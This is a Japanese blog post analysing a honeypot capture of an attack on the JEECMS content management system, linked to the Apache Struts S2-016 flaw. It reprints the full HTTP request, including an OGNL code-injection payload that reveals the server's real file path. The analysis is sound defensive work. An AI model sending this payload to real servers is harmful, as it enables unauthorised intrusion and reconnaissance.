JEECMSの脆弱性(コードインジェクション)を狙った攻撃

どうも、また(普通の)日本人に関係があんまりない攻撃に関する記事を書かせていただきます。私のハニーポットには昨日来たてのほやほや攻撃。

まずはログをご覧ください。(見やすくなるよう改変しています。)

攻撃コードもURLデコードしています。悪用厳禁

POST /login/Jeecms.do HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: IPアドレス
Content-Length: 395
Expect: 100-continue
Connection: Keep-Alive

redirect:${#res=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#res.setCharacterEncoding("UTF-8"),#req=#context.get(com.opensymphony.xwork2.dispatcher.HttpServletRequest),#res.getWriter().print("dir:"),#res.getWriter().println(#req.getSession().getServletContext().getRealPath("/")),#res.getWriter().flush(),#res.getWriter().close()}

POSTメソッドに書いてあるJeecms*1。おそらくこれが攻撃先のソフトウェア名です。

これは、コードインジェクション(CWE-94)を狙った攻撃です。

RedirectにJavaで攻撃コードが書かれています。このコードは、Jeecms.doのサーバ内での絶対パスを取得するものと考えられます。恐らく、ここから攻撃を広げていくつもりだったのでしょうね。

Apache Strutsに同様の脆弱性(S2-016)

Apache Struts*2に同様の脆弱性(2013年)S2-016が公開されています。余談ですがApache StrutsにはほかにClasslorderの脆弱性(2014年)CVE-2014-0114が存在します。どちらも最新バージョンなら修正されています。

JEECMSについて考察

今回、同一IPからindex.actionやlogin.actionなどへのアクセスがあったためStrutsへの攻撃だと思ったのですが、 Jeecms.doへのアクセスから別と判断しました。

なぜ同じ脆弱性が存在するのか? JEECMSはStrutsを利用している・・・? しかし、JEECMSの製品ページを見ると別のフレームワークは載っているがStrutsは載っていない。と、いうことは・・・?

  • 発覚した後製品でStrutsの利用をやめた

といったところでしょうか。結局真相は謎ですし、現在は修正されているでしょうから、どうでもいいことです。

ほか参考サイト

JEECMS网站内容管理系统远程代码执行漏洞 – 安全脉搏

Apache Strutsの脆弱性(S2-016)を狙った攻撃の実例 - WAF Tech Blog | クラウド型 WAFサービス Scutum 【スキュータム】

*1:JEECMS:中国のJavaベースのCMSコンテンツマネジメントシステム

*2:Apache Struts:JavaのWebアプリケーションフレームワーク